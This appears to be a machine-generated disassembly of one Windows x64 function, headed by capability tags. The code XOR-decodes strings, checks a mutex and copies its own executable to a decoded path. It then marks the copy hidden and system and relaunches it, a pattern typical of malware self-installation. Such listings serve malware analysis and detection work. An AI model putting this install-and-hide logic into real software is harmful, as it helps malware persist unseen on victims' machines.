Function at 0x1400057e0
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create process on windows
Delete file
Encode data using xor
Get file attributes
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x2e0
movaps xmmword [rsp + 0x2d0], xmm6
mov rax, qword [0x140015040]
xor rax, rsp
mov qword [rsp + 0x2c8], rax
xor esi, esi
lea rcx, [rsp + 0x100]
call fcn.140003770
nop
lea rcx, [rsp + 0x60]
call fcn.1400038b0
mov rbx, rax
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.14000b1e0
mov edx, esi
cmp qword [rbx + 0x10], rsi
jbe 0x140005868
lea rcx, [rsp + 0x80]
cmp qword [rsp + 0x98], 0xf
cmova rcx, qword [rsp + 0x80]
xor byte [rcx + rdx], 0x57
inc rdx
cmp rdx, qword [rbx + 0x10]
jb 0x140005841
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xc0]
call fcn.14000b1e0
mov rcx, rsi
cmp qword [rsp + 0x90], rsi
jbe 0x1400058bb
nop word [rax + rax]
lea rax, [rsp + 0xc0]
cmp qword [rsp + 0xd8], 0xf
cmova rax, qword [rsp + 0xc0]
xor byte [rax + rcx], 0x57
inc rcx
cmp rcx, qword [rsp + 0x90]
jb 0x140005890
mov rdx, qword [rsp + 0x98]
cmp rdx, 0xf
jbe 0x140005901
inc rdx
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400058fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400058fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], 0xf
mov byte [rsp + 0x80], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000595e
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005958
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005958
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
nop
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0xe0]
call fcn.140003bc0
nop
lea r8, [rsp + 0xe0]
cmp qword [rsp + 0xf8], 0xf
cmova r8, qword [rsp + 0xe0]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rdi, rax
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140005aee
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0xf8]
cmp rdx, 0xf
jbe 0x140005a09
inc rdx
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005fef
call fcn.14000ce50
movdqa xmm0, xmmword [0x14000fc70]
movdqu xmmword [rsp + 0xf0], xmm0
mov byte [rsp + 0xe0], 0
mov rdx, qword [rsp + 0xd8]
cmp rdx, 0xf
jbe 0x140005a65
inc rdx
mov rcx, qword [rsp + 0xc0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140005a60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006046
call fcn.14000ce50
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xd8], 0xf
mov byte [rsp + 0xc0], 0
mov rdx, qword [rsp + 0x118]
cmp rdx, 0xf
jbe 0x140005ac4
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005abf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060b4
call fcn.14000ce50
mov rcx, qword [rsp + 0x2c8]
xor rcx, rsp
call fcn.14000ce30
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rdi
ret
movdqa xmm1, xmmword [0x14000fe10]
movdqu xmmword [rsp + 0x80], xmm1
mov dl, 0x50
mov r8b, 0x58
mov r9b, 6
mov r10b, 7
mov r11b, 0x69
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x81], al
xor byte [rsp + 0x82], cl
xor byte [rsp + 0x83], cl
xor byte [rsp + 0x84], cl
xor byte [rsp + 0x85], cl
xor byte [rsp + 0x86], cl
xor byte [rsp + 0x87], cl
xor byte [rsp + 0x88], cl
xor byte [rsp + 0x89], cl
xor byte [rsp + 0x8a], cl
xor byte [rsp + 0x8b], cl
xor byte [rsp + 0x8c], cl
xor byte [rsp + 0x8d], cl
xor byte [rsp + 0x8e], cl
xor byte [rsp + 0x8f], cl
xor dl, cl
mov byte [rsp + 0x90], dl
xor r8b, cl
mov byte [rsp + 0x91], r8b
xor r9b, cl
mov byte [rsp + 0x92], r9b
xor r10b, cl
mov byte [rsp + 0x93], r10b
xor r11b, cl
mov byte [rsp + 0x94], r11b
mov byte [rsp + 0x95], 0
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0x81]
lea rcx, [rsp + 0x60]
call fcn.14000bd70
nop
mov byte [rsp + 0x50], 0x2f
mov cl, 1
mov dl, 0x4a
mov r8b, 0x57
movzx r9d, dl
xor r10d, r10d
xor cl, 0x2f
mov byte [rsp + 0x51], cl
xor dl, 0x2f
mov byte [rsp + 0x52], dl
xor r8b, 0x2f
mov byte [rsp + 0x53], r8b
xor r9b, 0x2f
mov byte [rsp + 0x54], r9b
mov byte [rsp + 0x55], r10b
lea rcx, [rsp + 0x51]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rcx + r8], r10b
jne 0x140005c30
lea rdx, [rsp + 0x51]
mov rcx, rax
call fcn.14000b100
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xb0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xb0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140005cc3
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005cbe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005cbe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
movdqa xmm6, xmmword [0x14000fc70]
movdqu xmmword [rsp + 0x70], xmm6
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0xf
cmova rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140005d1b
lea rcx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0xf
cmova rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov r8d, 0x104
lea rdx, [rsp + 0x1b0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0xf
cmova rdx, qword [rsp + 0xa0]
xor r8d, r8d
lea rcx, [rsp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x140005e13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0xf
jbe 0x140005db1
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005dac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f98
call fcn.14000ce50
movdqu xmmword [rsp + 0xb0], xmm6
mov byte [rsp + 0xa0], 0
mov rdx, qword [rsp + 0xf8]
cmp rdx, 0xf
jbe 0x140005e05
inc rdx
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e00
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005fef
call fcn.14000ce50
movdqu xmmword [rsp + 0xf0], xmm6
jmp 0x140005a1a
lea rcx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0xf
cmova rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea rcx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0xf
cmova rcx, qword [rsp + 0xa0]
or eax, 6
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [rsp + 0x120], 0x68
xorps xmm0, xmm0
movups xmmword [rsp + 0x128], xmm0
movups xmmword [rsp + 0x138], xmm0
movups xmmword [rsp + 0x148], xmm0
movups xmmword [rsp + 0x158], xmm0
movups xmmword [rsp + 0x168], xmm0
movups xmmword [rsp + 0x178], xmm0
lea rcx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0xf
cmova rcx, qword [rsp + 0xa0]
lea rax, [rsp + 0x190]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x120]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140005f54
lea rax, [rsp + 0x1b0]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140005ef6
lea r8, [rsp + 0x1b0]
add r8, rbx
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x80]
call fcn.14000bed0
nop
lea rcx, [rsp + 0x80]
call fcn.140004030
lea rcx, [rsp + 0x80]
call fcn.140005630
nop
jmp 0x140005f42
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0xf
jbe 0x140005fa4
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f9f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
movdqu xmmword [rsp + 0xb0], xmm6
mov byte [rsp + 0xa0], 0
mov rdx, qword [rsp + 0xf8]
cmp rdx, 0xf
jbe 0x140005ffb
inc rdx
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ff6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005ff6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
movdqu xmmword [rsp + 0xf0], xmm6
mov byte [rsp + 0xe0], 0
mov rdx, qword [rsp + 0xd8]
cmp rdx, 0xf
jbe 0x140006052
inc rdx
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000604d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000604d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xd8], 0xf
mov byte [rsp + 0xc0], 0
mov rdx, qword [rsp + 0x118]
cmp rdx, 0xf
jbe 0x140005ac4
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005abf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005abf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3